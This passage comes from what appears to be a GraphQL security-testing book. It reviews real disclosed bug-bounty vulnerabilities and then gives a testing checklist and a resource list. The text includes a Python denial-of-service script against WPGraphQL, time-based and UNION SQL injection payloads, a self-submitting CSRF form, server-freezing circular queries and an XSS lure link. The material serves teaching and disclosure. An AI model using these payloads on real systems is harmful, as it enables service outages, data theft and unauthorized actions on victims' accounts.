malicious regex pattern whose evaluation consumes significant time and
resources. These vulnerabilities aren’t API specific, although they can exist
in all API technologies, including REST, SOAP, and GraphQL.

ReDoS vulnerabilities can happen in various ways:
The client provides a malicious regex pattern as input to the server.
The server contains a regex logic pattern that could result in infinite
evaluation when a matching input is provided, and a client provides such an
input. If the input is abnormally large, ReDoS could occur.

Here is an example of a regex pattern that could be vulnerable to ReDoS:
(a+)+. This pattern can match against any string containing any number of the
letter a, such as aaaaaaaaaaaaaaaaaaaa. If a client sent a large payload of
100,000 a characters, the server might slow down while the pattern is being
evaluated.

You can use online regex testing websites such as https://regex101.com to
see how a particular expression behaves in practice, as shown in Figure 10-
1.

https://regex101.com/


Figure 10-1: The online regular expression tester at https://regex101.com

In October 2020, an ethical hacker who goes by the handle of mvm
reported a ReDoS vulnerability in a GraphQL API to CS Money’s bug bounty
program (https://hackerone.com/reports/1000567). The hacker found that
the GraphQL search object takes a q (query) argument. In their testing, they
inserted a Unicode null value (\u0000) as its value:

query { 
  search(q: "\u0000)", lang: "en") { 
  --snip-- 
}

In response to this query, the GraphQL API server returned an interesting
error that revealed some information critical to identifying the existence of
the ReDoS vulnerability:

"errors": [ 
    { 
      "message": "value (?=.*\u0000) must not contain null 
bytes" 
      --snip-- 
    } 
]

As you can see, the string supplied through the q argument was inserted
into regex-matching logic on the server, indicated by the preceding (?=.*

https://regex101.com/
https://hackerone.com/reports/1000567


string in the response. The server might use this argument to search for
relevant data in a database.

Conveniently, the server had query tracing enabled through its extensions.
Query tracing allows GraphQL servers to return response metadata useful
for debugging and provides information about the query’s performance. The
tracing information in the response disclosed three informative fields to the
client (startTime, endTime, and duration), revealing the amount of time it
took the server to process the query:

"extensions": { 
    "tracing": { 
      "startTime": "02:07:55.251", 
      "endTime": "02:07:55.516", 
      "duration": 264270190, 
       --snip-- 
    } 
}

These fields also go to show how sometimes innocent-looking information
can assist us during a penetration test. Always look at the details.

After identifying the potential vulnerability, the hacker then used a
malicious regex pattern and set it as the value of the q argument:

query { 
  search(q: "[a-zA-Z0-9]+\\s?)+$|^([a-zA-Z0-9.'\\w\\W]+
\\s?)+$\\", lang: "en"){ 
    --snip-- 
 } 
}

This pattern will match against any character in the ranges a to z, A to -Z,
and 0 to 9.

NOTE

To get the full explanation of this pattern, insert it into an online
regex evaluator such as https://regex101.com, which will provide a
detailed explanation of what it does.

https://regex101.com/


The most important takeaway here is that this pattern would most likely
match against many strings in the application’s backend database, causing the
server to process (and possibly return) a lot of data. In their report, the
hacker shared a proof-of-concept cURL command that uses the GraphQL
query. They showed that, by running it 100 times, they were able to
completely take down the GraphQL server.

As you can see, malicious payloads can take down servers. We highly
discourage sending malicious payloads to a company’s production APIs
without an explicit authorization from the company, as they can negatively
impact business if the company isn’t equipped to handle malicious payloads.

The company granted a bounty of $250 for this report.

A Circular Introspection Query (GitLab)
The following vulnerability was reported to GitLab in July 2019 (https://gitl
ab.com/gitlab-org/gitlab/-/issues/30096). This vulnerability abuses the
circular relationship between the type and field fields in GraphQL’s
introspection query.

The reporter, who goes by the handle freddd, identified that it was
possible to trigger a DoS condition by using the __schema meta-field to call
types, followed by a recursive call to fields and type:

query { 
  __schema { 
    types { 
      fields { 
        type { 
          fields { 
            type { 
              --snip-- 
            } 
          } 
        } 
      } 
    } 
  } 
}

https://gitlab.com/gitlab-org/gitlab/-/issues/30096


This query relies on introspection being enabled on the API. When
introspection is disabled, it’s typically not possible to call the __schema
meta-field directly.

Although GitLab had implemented query complexity checks to mitigate
circular query-based DoS attacks, the control didn’t apply to the
introspection query, effectively leaving it unintentionally vulnerable.

Exploiting this vulnerability also didn’t require the hacker to be
authenticated to the GraphQL API. The absence of authentication makes it
more severe, as it lowers the barrier to entry when it comes to who can
exploit it.

Aliases for Field Duplication (Magento)
Magento, one of the most popular ecommerce platforms on the internet, uses
GraphQL, and in April 2021, the platform was impacted by a DoS
vulnerability. Using field duplication, an attacker could exhaust server
resources without being authenticated. (Magento allows unauthenticated
clients to use certain GraphQL objects and requires a valid, authenticated
session for others.)

We, the authors of this book, identified that Magento did not protect itself
against malicious queries that repeated fields many times. We used the
following query as a proof of concept:

query { 
  alias1: countries { 
     full_name_english 
     full_name_english # continues 1000s of times 
     --snip-- 
  } 
  alias2: countries { 
     --snip-- 
  } 
  alias3: countries { 
     --snip-- 
  } 
}

This query used GraphQL aliases as a way to batch repeat queries in a
single HTTP request, a technique that allowed the attacker to send the server



very complex queries. It effectively exhausted the server’s resources because
of the absence of security controls, such as query cost limits.

Magento has since introduced many GraphQL security features into its
platform, such as GraphQL query complexity limits and query depth analysis.
Figure 10-2 shows the default values for the security controls Magento
implemented in its API.

Figure 10-2: Magento’s default values for query complexity and query depth controls

As you can see, Magento has implemented a queryComplexity value of
300 and a queryDepth value of 20, which means that a query cannot exceed
a complexity level beyond 300, and a circular query cannot exceed 20 levels
of nesting.

Array-Based Batching for Field Duplication
(WPGraphQL)
This vulnerability is quite similar to the previous field duplication
vulnerability we discussed. In April 2021, WPGraphQL, a GraphQL plug-in
for WordPress (https://www.wpgraphql.com), suffered a DoS vulnerability
due to a lack of proper security controls and an insecure default
configuration.

The WPGraphQL plug-in provides a production-ready GraphQL API for
any WordPress content management system and is available through the
WordPress plug-in marketplace. Figure 10-3 shows this plug-in.

https://www.wpgraphql.com/


By default, WPGraphQL effectively made any WordPress instance with the
plug-in vulnerable to DoS. First, it allowed clients to use array-based
batching to batch multiple queries in a single request. In addition, the plug-in
had limited security controls in place to protect against malicious queries.
Third, because WordPress is a blogging platform that often serves
unauthenticated clients (for example, blog readers), certain sections of the
API’s functionalities were accessible without special permissions.

Figure 10-3: The WPGraphQL plug-in for WordPress

We found this vulnerability ourselves and published the following exploit
code:

--snip-- 
FORCE_MULTIPLIER = int(sys.argv[2]) 
CHAINED_REQUESTS = int(sys.argv[3]) 
 
--snip-- 
queries = [] 
 



payload = 'content \n comments { \n nodes { \n content }
 }' * FORCE_MULTIPLIER 
query = {'query':'query { \n posts { \n nodes { \n ' + pay
load + '} } }'} 
 
for _ in range(0, CHAINED_REQUESTS): 
  queries.append(query) 
 
r = requests.post(WORDPRESS_URL, json=queries) 
print('Time took: {}'.format(r.elapsed.total_seconds()))

This code sets two variables that essentially define the complexity of a
single HTTP request: FORCE_MULTIPLIER is an integer variable that
duplicates a selection set of fields, and CHAINED_REQUESTS holds the
number of elements the exploit will add into the batched array.

Next, a queries variable is set to an empty array. This variable will hold
the full malicious payload that will eventually be sent to WPGraphQL. The
code then creates a special query that will be duplicated by the integer value
assigned to the FORCE_MULTIPLIER variable and crafts this into a query
JSON object for the HTTP request. Next, a loop runs N number of times,
where N is the value of CHAINED_REQUESTS. If CHAINED_REQUESTS is set to
100, the loop will run 100 times and create an array containing 100 elements.
Lastly, the exploit sends the HTTP request and calculates how long it takes
the server to respond to the expensive query.

In short, if both FORCE_MULTIPLIER and CHAINED_REQUESTS are set to
100, the final array will include 100 queries that each contain 100 duplicated
fields. Imagine how expensive such a query might be to process if these two
variables were set to 10,000.

NOTE

Since the disclosure, WPGraphQL has made significant security
improvements to the plug-in and has addressed this DoS
vulnerability.

Circular Fragments (Agoo)



We discovered a circular fragment vulnerability in May 2022 in a Ruby-
based GraphQL server implementation named Agoo. Identified by CVE-
2022-30288, the vulnerability stems from the absence of validations checks
on incoming queries at the Agoo server level. This failure to validate means
the server isn’t spec compliant. It also means that queries sent to an Agoo
server can take it down in several ways. Let’s explore how we were able to
do this with circular fragments.

As a first step, we wanted to check whether introspection was enabled by
default, so we ran the following query:

query Introspection { 
  __schema { 
    directives { 
      name 
    } 
  } 
}

This query is simple; it returns the name of all the directives in the schema.
This is a pretty good query to use when you don’t yet know what operations
the GraphQL server supports.

Next, we built a circular query using fragments that reference the query:

query CircularFragment { 
  __schema { 
❶ ...A 
  } 
} 
 
fragment A on __Schema { 
  directives { 
    name 
  } 
❷ ...B 
} 
 
fragment B on __Schema { 
❸ ...A 
}



We created two fragments on the __Schema type. The first fragment A uses
the directives top-level field with the name field. It then calls (or imports)
fragment B at ❷. Fragment B contains ...A at ❸, which calls fragment A
again. At this point, we have two circular fragments. Now, to get them
executed, we need to use either of them inside a query. At ❶, you can see
how we use fragment A by calling ...A inside the __schema meta-field.

At this point, the cyclical condition starts, and never ends! Running this
query against Agoo will freeze the server, and it will no longer be able to
serve queries. The only way to recover it is by restarting Agoo’s server
process.

Some of these DoS vulnerabilities were found in big-name products that
have been using GraphQL for quite some time, proving that no one is immune
to vulnerabilities.

Broken Authorization
In this section, we’ll explore vulnerabilities that impacted authorization
controls in GraphQL APIs. These types of issues can eventually lead to data
disclosure and allow unauthorized access to sensitive information.

Allowing Data Access to Deactivated Users (GitLab)
In a publicly disclosed vulnerability reported to GitLab in August 2021, a
hacker who goes by the handle Joaxcar was able to access data by using a
deactivated user account to authenticate to the GraphQL API and perform
actions that shouldn’t have been allowed (https://hackerone.com/reports/11
92460).

Deactivated user accounts should have their access denied until they are
reactivated by the application’s maintainer. While the user is deactivated, the
application should reject the user’s access attempts, whether directly through
the console or through API keys, even if they have active API keys.

To understand the risk this poses, imagine that an employee goes on
vacation and that the security team’s policy is to disable all employee
accounts until they return to the office. Now imagine that the employee’s
password was leaked to the internet, and a threat actor is in possession of

https://hackerone.com/reports/1192460


these credentials. In the vulnerability scenario we’re describing here, the
threat actor would be able to call the application even though the user’s
account is disabled. This shouldn’t happen with proper authentication and
authorization controls.

Here is what Joaxcar did to exploit the vulnerability:

. As an administrator, created a secondary user with an API key

. Still as an administrator, disabled the newly created user

. Used the deactivated user’s API key to call the GraphQL API

. Confirmed that they were successfully able to perform actions with the
deactivated user credentials

They used the following GraphQL query as part of the test:

mutation { 
    labelCreate(input:{title:"deactivated", projectPath:"t
est1/test1"}){ 
        errors 
        label { 
            id 
        } 
    } 
}

The query uses the labelCreate object with an input type argument that
accepts a title and a projectPath. In other words, the vulnerability
allowed the ethical hacker to use a deactivated account to create a label
field. It’s quite possible that the vulnerability would have allowed other
actions too, other than label creation.

NOTE

The API token used in the exploit (not shown in the code snippet)
was passed as a Bearer token to the Authorization HTTP header.



Allowing an Unprivileged Staff Member to Modify a
Customer’s Email (Shopify)
The following vulnerability was reported to the Shopify bug bounty program
by user ash_nz in September 2021 (https://hackerone.com/reports/980511).
An e-commerce company, Shopify has been a trailblazer in the GraphQL
space for many years, developing useful open source tools, publishing
articles about GraphQL best practices, and more.

The vulnerability allowed ash_nz to modify a customer email by using an
unprivileged shop staff account, which could update email objects through a
dedicated GraphQL API mutation. Here is the mutation as seen in the report:

mutation emailSenderConfigurationUpdate ($input:EmailSende
rConfigurationUpdateInput!) { 
    emailSenderConfigurationUpdate(input:$input) { 
        emailSenderConfiguration { 
            id 
        } 
        userErrors { 
            field 
            message 
        } 
    } 
 }

The hacker passed a customer’s email to the mutation’s input parameter
and sent it to the GraphQL API server, which updated the customer’s email,
despite the API caller not having the right privileges to do so.

This is a fairly simple vulnerability, but identifying it does require testing
multiple hypotheses and edge cases. Always evaluate APIs using various
privilege levels and attempt cross-account or cross-user access to uncover
authorization issues.

The hacker received a bounty of $1,500 from Shopify for responsibly
disclosing this issue.

Disclosing the Number of Allowed Hackers Through a
Team Object (HackerOne)

https://hackerone.com/reports/980511


In April 2018, an ethical hacker with the handle haxta4ok00 identified a
GraphQL authorization issue in HackerOne that led to an information
disclosure vulnerability (https://hackerone.com/reports/342978).

The hacker identified that, by making a query that uses the team object in
HackerOne’s GraphQL API, they could access a restricted field that they
otherwise shouldn’t have been able to access. The team object allowed
querying for programs on the HackerOne platform and returning information
such as their id and name.

The hacker also identified that when the whitelisted_hackers field is
specified, it returns the total_count of the program’s number of allowed
hackers. Since the team object takes an argument of handle, it practically
allows searching for programs based on their handle string. In the following
example, the handle is security:

query { 
    team(handle:"security"){ 
        id 
        name 
        handle 
        whitelisted_hackers { 
            total_count 
        } 
    } 
}

The HackerOne triage team was able to determine that this vulnerability
could have also allowed someone to identify other non-public programs on
the platform by supplying various strings to the handle argument that might
match a team’s handle. The response to the query is as follows:

--snip-- 
"team":{ 
    "id":"Z2lkOi8vaGFja2Vyb25lL1RlYW0vMTM=", 
    "name":"HackerOne", 
    "handle":"security", 
    "whitelisted_hackers":{ 
        "total_count":30 
    } 
} 
--snip--

https://hackerone.com/reports/342978


As you can see, the disclosed information isn’t very sensitive in nature, but
it can be used to infer whether the program is private and, therefore, find
HackerOne’s customers.

HackerOne paid a bounty of $2,500 for this authorization issue because of
the information disclosure impact.

Reading Private Notes (GitLab)
Issues created on GitLab may include private notes that only members should
be able to view. In June 2019, an ethical hacker with the handle ngalog
reported CVE-2019-15576 through a HackerOne report (https://hackerone.c
om/reports/633001), which showed that hackers can read these notes through
GitLab’s GraphQL API despite them being properly restricted in the REST
API.

Notes can be sensitive, as they may contain information about duplicate
issues, issues moved to another project, or even project code. The ethical
hacker used the following query to exploit the vulnerability:

query { 
  project(fullPath:"username16/ci-test"){ 
    issue(iid:"1"){ 
      descriptionHtml 
      notes { 
        edges { 
          node { 
            bodyHtml 
            system 
            author { 
              username 
            } 
            body 
          } 
        } 
      } 
    } 
   } 
  }

As you can see, the issue object is being used in conjunction with the
notes field. This notes field allows access to other fields, such as the
note’s body, the note’s author, and more. The screenshot in Figure 10-4,

https://hackerone.com/reports/633001


taken from GitLab GraphQL API documentation, shows the complete list of
available fields.

Figure 10-4: GitLab’s documentation for the note fields

The full GitLab GraphQL API documentation can be found at https://docs.
gitlab.com/ee/api/graphql/reference.

Disclosing Payment Transaction Information
(HackerOne)
The following vulnerability, reported to HackerOne in October 2019,
impacted its own GraphQL API (https://hackerone.com/reports/707433). It
allowed msdian7, the hacker who found and disclosed the issue, to access
the total number of payment transactions—information meant to be
confidential and accessible by only authorized parties.

The GraphQL query used can be seen here:

query ($handle_0: String!, $size_1: ProfilePictureSizes!)
 { 
  team(handle: $handle_0) { 
    id 
    name 
    about 
    profile_picture(size: $size_1) 
    offers_swag 
    offers_bounties 

https://docs.gitlab.com/ee/api/graphql/reference
https://hackerone.com/reports/707433


    base_bounty 
    payment_transactions { 
      total_count 
    } 
   } 
  } 
}

NOTE

The original query in the report used GraphQL fragments. For the
sake of brevity, we merged the fragments with the query.

Payment data should never be public information. This vulnerability
allowed access to the total_count field through the
payment_transactions field by using an unauthorized session, effectively
providing insight into the transactions made by other bug bounty programs on
the HackerOne platform.

Information Disclosure
In this section, we will review publicly disclosed vulnerabilities that led
exclusively to information disclosure issues. Some of the issues we covered
earlier in this chapter also resulted in information disclosure outcomes,
though these stemmed from other vulnerabilities such as broken access
control mechanisms.

Enumerating GraphQL Users (GitLab)
In 2021, Rapid7 identified CVE-2021-4191 in GitLab’s Community Edition
and Enterprise Edition. The vulnerability allowed unauthenticated attackers
to access user information in private GitLab instances that had specifically
restricted their user registration interfaces through the users field.

For example, the following query returns information about users in
GitLab instances, such as their name, username, and ID:



query { 
  users { 
    nodes { 
      id 
      name 
      username 
    } 
  } 
}

In addition to a user’s name and username, the vulnerability affected fields
such as their email, location, user permissions, group memberships, state,
and profile picture. Having access to so much information about users is
useful for several reasons:

Identifying accounts to attack. Knowledge of usernames and emails
allowed threat actors to target specific accounts. Having access to user
emails also allowed threat actors to pivot to other attacks, such as social
engineering, by sending phishing emails to users.

Identifying available groups. The vulnerability allowed attackers to infer
information about the company running GitLab through their group
memberships. Group memberships can reveal information such as
acquisitions, subsidiaries, other company branches, regions where the
company operates, and so on.

Identifying individuals. The vulnerability allowed access to profile pictures,
which could help threat actors target specific users on platforms outside of
GitLab.

Identifying state of accounts. Knowing the state of an account (whether it’s
disabled or enabled) could make attacks such as brute forcing more effective;
threat actors could target only accounts that are in an enabled state, allowing
them to optimize their attacks.

This vulnerability is especially interesting because of how simple and
straightforward it is to exploit. The fact that it can be done in an
unauthenticated manner increases its severity quite a lot too.

Accessing the Introspection Query via WebSocket
(Nuri)



This report is an interesting one and quite unique. In April 2020, an ethical
hacker who goes by the handle zerodivisi0n disclosed a vulnerability in
Nuri’s API that caused schema information to leak through an introspection
query (https://hackerone.com/reports/862835). This GraphQL API used
WebSocket as its transport protocol, not HTTP.

In earlier chapters, you learned about GraphQL and WebSocket in the
context of subscription operations; clients can subscribe to certain events of
interest to get real-time information over the WebSocket protocol. Certain
GraphQL libraries, such as graphql-ws (https://github.com/enisdenjo/graph
ql-ws), allow not only subscriptions to be sent over WebSocket but also
queries and mutations.

The reported vulnerability enabled hackers to execute the introspection
query directly via a WebSocket connection. While the report doesn’t include
a whole lot of details about how the GraphQL implementation was designed
to work, introspection was disabled on interfaces that aren’t WebSocket
based, such as in query operations sent over HTTP.

An introspection query over a WebSocket client-to-server message could
look like the following:

{"type":"start","payload":{"query":"query Introspection {
 __schema {...} }"}}

Query and mutation operations sent over WebSocket aren’t currently very
common. You’re more likely to see GraphQL subscription operations
transported over WebSocket, but this could change over time as GraphQL
trends evolve.

Injection
The following publicly disclosed GraphQL vulnerabilities resulted in
application injection flaws. Chapter 8 covers injections and how impactful
they can be if exploited.

SQL Injection in a GET Query Parameter (HackerOne)

https://hackerone.com/reports/862835
https://github.com/enisdenjo/graphql-ws


In November 2018, Jobert identified a SQL injection in HackerOne’s
GraphQL production endpoint (https://hackerone.com/reports/435066).
Jobert had identified a nonstandard parameter passed to HackerOne’s
GraphQL /graphql endpoint, embedded_submission_form_uuid, that looked
like the following:

/graphql?embedded_submission_form_uuid=value

This URL parameter isn’t standard in GraphQL APIs, where you are more
likely to see parameters such as the following:
query

variables

operationName

You should already be familiar with these: query takes the full GraphQL
query as its value, variables takes additional data passed to the query
(variables such as argument values), and operationName is the name of the
operation. Jobert was able to identify that the value passed to the custom
parameter wasn’t checked on the backend, effectively allowing them to inject
SQL commands.

The HackerOne triage team shared the Ruby code responsible for
processing the GraphQL parameters, and we’ve modified it here to make the
problem more apparent:

unless database_parameters_up_to_date 
  safe_query = '' 
 
❶ new_parameters = {"embedded_submission_form_uuid":"PAYLOA
D"} 
 
  new_parameters.each ❷ do |key, value| 
      safe_query += "SET SESSION #{key} TO #{value};" 
  end 
 
  begin 
      # safe_query ="SET SESSION embedded_submission_form_
uuid TO PAYLOAD" 
      connection.query(safe_query) 
  rescue ActiveRecord::StatementInvalid => e 

https://hackerone.com/reports/435066


      raise e unless e.cause.is_a? PG::InFailedSqlTransact
ion 
  end 
 
end

The new_parameters variable ❶ is a hash map containing the custom
embedded_submission_form_uuid URL parameter and its value (which is
client controlled). At ❷, a loop performs string interpolation on the keys and
values assigned to the variable, effectively composing a string with the
parameter and its value together. It combines this string with the SET
SESSION SQL command.

The new SQL command is eventually assigned to the safe_query
variable, which, at this point, the attacker controls without any checks. We’ve
used a comment to highlight the value that gets assigned to the variable: the
GET parameter embedded_submission_form_uuid key and its value. The
variable eventually gets translated to a SQL query and executed. GraphQL
parameters aren’t automatically sanitized either, which contributes to the
SQL injection condition.

Jobert crafted a special cURL request to verify the injection:

time curl -X POST https://hackerone.com/graphql\?embedded_
submission_form_uuid\= 
1%27%3BSELECT%201%3BSELECT%20pg_sleep\(10\)%3B--%27 
 
0.02s user 0.01s system 0% cpu 10.557 total

The URL-decoded version of this cURL request looks like this:

/graphql?embedded_submission_form_uuid=1';SELECT 1;SELECT
 pg_sleep\(10\);--'

This request used a time-based SQL injection technique (covered in
Chapter 8) to introduce a time delay of 10 seconds in the server’s processing
by using the PostgreSQL command pg_sleep. The attacker then tracked the
time it took the server to respond to the request by using the Linux time
command. It took 10.557 seconds to complete.



This technique not only confirmed the existence of the vulnerability but
also avoided accidentally disclosing sensitive information or potentially
sending dangerous commands to the database that could cause data to be lost.

SQL Injection in an Object Argument (Apache
SkyWalking)
Apache SkyWalking is a performance-monitoring platform for microservices
and cloud-native architectures created by the Apache Software Foundation.
In June 2020, it suffered from a SQL injection vulnerability introduced
through a value passed to a GraphQL field argument. This vulnerability was
assigned the identifier CVE-2020-9483.

SkyWalking can work with various storage backends, such as H2,
OpenSearch, PostgreSQL, and TiDB. A hacker who goes by the handle
Jumbo-WJB discovered that when SkyWalking was used in conjunction with
either H2 or MySQL storage backends, it was vulnerable to a SQLi through
the getLinearIntValues field metric argument.

Jumbo-WJB published an exploit for this vulnerability, constructing a
special payload in the GraphQL query that abused the bug to achieve a SQLi.
In the following example query, you can see that the value of id, which is
passed as input to the metric argument, contains SQL query syntax:

query SQLi($d: Duration!) { 
  getLinearIntValues(metric: 
{name: "all_p99", id: "') UNION SELECT 1,CONCAT('~','99999
99999','~')--"}, 
duration: $d) { 
    values { 
      value 
    } 
  } 
}

For a value, the metric argument expects an object that includes keys such
as id and name. The vulnerability appeared to be in the id key, which
doesn’t get sanitized before it is inserted into either H2 or MySQL databases.



NOTE

The full exploit to this vulnerability can be found in the Nuclei
vulnerability scanner project’s public repository at https://github.c
om/projectdiscovery/nuclei-templates/blob/master/cves/2020/CVE-
2020-9483.yaml.

By examining the pull request on SkyWalking’s GitHub repository
containing the fix, we can get an idea of what the vulnerable code area might
have looked like (Figure 10-5).

Figure 10-5: Apache SkyWalking’s vulnerable code

The getLinearIntValues method takes a few arguments, such as
tableName, valueCName, and ids (line 110), and does some string building
using Java’s StringBuilder (line 112). A loop is then used to iterate
through the values passed to the ids argument and construct a string by
concatenating them and decorating them using single quotes (lines 113 to

https://github.com/projectdiscovery/nuclei-templates/blob/master/cves/2020/CVE-2020-9483.yaml


118). The newly built string eventually gets used as part of a SQL query
without sanitization (lines 123 to 125).

It is very possible that the metric object’s id GraphQL argument is
inserted directly into the ids list and therefore allows injecting SQL
commands.

Cross-Site Scripting (GraphQL Playground)
CVE-2021-41249 is a reflected XSS vulnerability impacting the GraphQL
Playground IDE, which provides an interface for sending queries to the API,
as well as raw schema information, documentation about the API’s features,
and information taken from inline SDL code comments. This information is
partially populated by an introspection query that gets sent automatically
when GraphQL Playground loads. Other information might come from the
GraphQL server.

This vulnerability is quite different from those covered so far in this
chapter. First, it impacts the API consumer directly, as a successful
exploitation would execute in their browser. Second, attackers could exploit
it in two ways:
By compromising a GraphQL server and modifying its schema to include
dangerous characters.
By building a custom GraphQL server with a malicious payload
implemented. The attacker could then target the client by sending them a link
to load the GraphQL Playground with the malicious server’s address—for
example, http://blackhatgraphql.com/graphql?
endpoint=http://attacker.com/graphql?query={__typename}. If the victim
clicks the link, their browser will automatically load the malicious API and
run a query on their behalf, which executes the payload into the Playground
running in their browser and triggers the XSS.

Let’s explore how a GraphQL server could serve such malicious
payloads. Consider the following code sample from DVGA:

class UserObject(SQLAlchemyObjectType): 
  class Meta: 
    name = "MyMaliciousTypeName" 
    model = User



This code represents DVGA’s UserObject object. Developers could use
the name variable to rename an object’s name to a custom string, and a threat
actor could do the same if they’ve compromised the server (or simply hosted
their own version of it). This name will then get rendered in an IDE tool’s
documentation section (Figure 10-6).

Figure 10-6: A malicious type name shown in a search

When a client opens the GraphQL Playground to query the API, the
malicious JavaScript payload will be rendered in their browser, which, in
this case, is injected into a type’s name.

This exact vulnerability existed in the Playground Node Package Manager
(npm) package graphql-playground-react. In late 2021, the library
maintainers took the following steps to remediate the vulnerability:
Ensuring that any HTML text is escaped
Ensuring that type names conform to the GraphQL specification



Avoiding loading the documentation section if it contains dangerous
characters
Ensuring that user-generated HTML is checked and made safe

GraphQL IDEs are popular, so if you’re performing a penetration test and
identify an old version of GraphQL Playground, it’s possible that it hasn’t
been patched and is still vulnerable to this XSS. Alternatively, you could
host your own malicious GraphQL server containing the vulnerable
Playground library and trick a victim into visiting it.

Cross-Site Request Forgery (GitLab)
Earlier in the book, we highlighted techniques for identifying GraphQL APIs
that allow GET-based queries. Let’s now see how a hacker was able to
abuse this functionality. In March 2021, the hacker az3z3l disclosed a CSRF
vulnerability to GitLab (https://hackerone.com/reports/1122408).

When handling GraphQL queries over the POST method, GitLab uses a
special X-CSRF-Token HTTP header to protect against CSRF attacks. This
header includes a unique token in each request or query.

GET requests aren’t typically used for actions such as data modifications,
so companies don’t usually protect them with anti-CSRF tokens. But because
GitLab supported queries using GET, the CSRF protection in place did not
apply to those queries, even though these operations included queries and
mutations and had the ability to perform changes through the API.

Ethical hacker az3z3l provided proof-of-concept HTML code that abuses
the CSRF vulnerability:

--snip-- 
<form action="https://gitlab.com/api/graphql/" id="csrf-fo
rm" method="GET"> ❶ 
<input name= ❷ "query" value="mutation CreateSnippet($inpu
t: CreateSnippetInput!) --snip--"> 
<input name= ❸ "variables" value='{"input":{"title":"Tessss
t Snippet"} --snip--'> 
</form> 
--snip-- 

https://hackerone.com/reports/1122408


<script>document.getElementById("csrf-form").submit()</scr
ipt> ❹

This HTML code defines a submission form ❶ that includes two inputs:
query ❷, which specifies the use of a mutation named CreateSnippet, and
variables ❸, which holds a few variables passed via the input type. At ❹,
the code uses JavaScript to submit the form on behalf of the client as soon as
a client loads an HTML page that contains it. Because the API doesn’t check
for a CSRF protection header, this is possible.

The GraphQL mutation used in the exploit is as follows:

mutation CreateSnippet($input: CreateSnippetInput!) { 
  createSnippet(input: $input) { 
    errors 
    snippet { 
      webUrl 
      __typename 
    } 
    --snip-- 
  } 
}

As a result of this query, a snippet will be created on behalf of the client
with whatever data the attacker included in the HTML form. This CSRF
could let the attacker take sensitive actions on behalf of the victim, such as
accessing their account or data.

Summary
This chapter covered public disclosures of real-life vulnerabilities and
exploits. You learned about how certain design choices in GraphQL
implementations created vulnerabilities that led to information disclosure,
injections, authorization issues, and more. We also discussed some of the
mitigation approaches companies took to patch the vulnerabilities, where
possible.

This book introduced you to GraphQL’s new ways of querying APIs. As
you’ve learned, the framework has its own rules, advantages, and
disadvantages. GraphQL’s design introduces new vulnerabilities and security



challenges. Simultaneously, it remains prone to the classic vulnerabilities
that have existed for years. Now that you know how to find vulnerabilities in
GraphQL, we recommend that you try to poke holes in the GraphQL
applications made available through vulnerability disclosure programs. Who
knows; maybe you’ll make a buck or two.



A
GRAPHQL API TESTING CHECKLIST

Reconnaissance
Perform a port scan using Nmap to identify open web application ports.
Scan the web server for GraphQL endpoints by using Graphw00f’s detection
mode.
Perform server fingerprinting with Graphw00f’s fingerprint mode.
Search for server-level vulnerabilities on MITRE’s CVE database.
Search for server-level security features on GraphQL Threat Matrix.
Search for GraphQL IDEs such as GraphiQL Explorer or GraphQL
Playground by using EyeWitness.
Send an introspection query and document all available queries, mutations,
and subscriptions.
Visualize the introspection query response with GraphQL Voyager.

Denial of Service
Review the API’s SDL file for bidirectional relationships.
Test for the following:
Circular queries or mutations
Circular fragments
Field duplication



Alias overloading
Directive overloading
Array-based or alias-based query batching
Object limit overriding in API pagination arguments such as filter, max,
limit, and total

Information Disclosure
Extract the GraphQL schema by using field stuffing when introspection is
disabled.
Identify debug errors in query responses by sending malformed queries.
Identify query tracing in GraphQL responses.
Test for any PII submitted using queries over the GET method.

Authentication and Authorization
Test access to the following:
The API without authentication headers
Restricted fields by using alternate paths
The API by using both the GET and POST methods
Test signature validation in JSON Web Token (JWT).
Attempt to brute-force mutations or queries that accept secrets, such as
tokens or passwords, using the following:
Alias-based query batching
Array-based query batching
CrackQL
Burp Suite



Injection
Test for injection in the following:
Query arguments
Field arguments
Query directive arguments
Operation names
Test for SQLi automatically by using SQLmap.
Test for OS command injection automatically by using Commix.

Forging Requests
Test for the following:
The existence of anti-CSRF tokens in HTTP headers or bodies
Possible anti-CSRF token bypasses
The availability of GET-based queries
Support for GET-based mutations
Perform state-changing mutations over GET.
Perform state-changing mutations over POST.

Hijacking Requests
Identify whether the GraphQL server does the following:
Supports subscriptions
Validates the Origin header during a WebSocket handshake



B
GRAPHQL SECURITY RESOURCES

Penetration Testing Tips and Tricks
OWASP’s GraphQL Cheat Sheet (https://cheatsheetseries.owasp.org/cheats
heets/GraphQL_Cheat_Sheet.xhtml)
Carlos Polop’s HackTricks (https://book.hacktricks.xyz/network-services-p
entesting/pentesting-web/graphql)
Momen Eldawakhly’s API Security Empire project (https://github.com/cypr
osecurity/API-SecurityEmpire)
Doyensec’s blog post “GraphQL—Security Overview and Testing Tips” by
Paolo Stagno (https://blog.doyensec.com/2018/05/17/graphql-security-ove
rview.xhtml)
YesWeHack’s blog post “How to Exploit GraphQL Endpoint: Introspection,
Query, Mutations, & Tools” (https://blog.yeswehack.com/yeswerhackers/ho
w-exploit-graphql-endpoint-bug-bounty)
0xn3va’s “GraphQL Vulnerabilities” cheat sheet (https://0xn3va.gitbook.io/
cheat-sheets/web-application/graphql-vulnerabilities)

Hands-on Hacking Labs
GraphQL security room by TryHackMe (https://tryhackme.com)
GraphQL labs by AttackDefense (https://attackdefense.com/challengedetail
snoauth?cid=1991)

https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.xhtml
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/graphql
https://github.com/cyprosecurity/API-SecurityEmpire
https://blog.doyensec.com/2018/05/17/graphql-security-overview.xhtml
https://blog.yeswehack.com/yeswerhackers/how-exploit-graphql-endpoint-bug-bounty
https://0xn3va.gitbook.io/cheat-sheets/web-application/graphql-vulnerabilities
https://tryhackme.com/
https://attackdefense.com/challengedetailsnoauth?cid=1991


GraphQL Security 101 by David3107 (https://github.com/david3107/graph
ql-security-labs)
HackMeGraph by 0xbigshaq (https://github.com/0xbigshaq/hackmegraph)
poc-graphql by Righettod (https://github.com/righettod/poc-graphql)

Security Videos
“Finding Your Next Bug: GraphQL” by Katie Paxton-Fear (https://www.yout
ube.com/watch?v=jyjGneKJynk)
“GraphQL API Testing” by Arun S. (https://www.youtube.com/watch?v=Wb
0BO8J7024)
“Hacking GraphQL for Beginners + Giveaway (closed)” by Farah Hawa (htt
ps://www.youtube.com/watch?v=OQCgmftU-Og)
“REST in Peace: Abusing GraphQL to Attack the Underlying Infrastructure—
